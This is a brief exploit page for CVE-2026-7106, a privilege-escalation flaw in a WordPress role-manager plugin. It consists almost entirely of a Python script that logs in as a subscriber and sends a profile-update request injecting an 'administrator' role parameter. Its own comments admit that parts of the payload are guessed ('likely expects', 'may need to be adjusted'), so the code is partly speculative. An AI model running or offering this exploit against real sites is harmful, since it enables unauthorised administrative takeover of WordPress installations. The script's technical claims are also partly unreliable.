CVE-2026-7106 WordPress插件权限提升漏洞

import requests # Exploit Title: WordPress Highland Software Custom Role Manager < 1.0.0 - Privilege Escalation # Date: 2026-04-27 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/ # Software Link: https://wordpress.org/plugins/highland-software-custom-role-manager/ # Version: <= 1.0.0 # CVE: CVE-2026-7106 def exploit(target_url, username, password): session = requests.Session() login_url = f"{target_url}/wp-login.php" profile_url = f"{target_url}/wp-admin/profile.php" # Step 1: Authenticate as a low-privileged user (e.g., Subscriber) login_data = { "log": username, "pwd": password, "redirect_to": profile_url, "wp-submit": "Log In", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Send payload to update user role via profile update # The vulnerable hook 'personal_options_update' triggers hscrm_save_user_roles() # We inject the desired role (e.g., 'administrator') into the request exploit_data = { "from": "profile", "checkuser_id": "1", # May need to be adjusted "user_id": "2", # The ID of the user being modified (attacker's ID) "action": "update", # The vulnerable plugin likely expects a role parameter here "hscrm_role": "administrator", "submit": "Update Profile" } response = session.post(profile_url, data=exploit_data) if response.status_code == 200: print("[+] Payload sent. Check if user role has been escalated.") else: print("[-] Exploit failed.") if __name__ == "__main__": exploit("http://target-site.com", "subscriber", "password")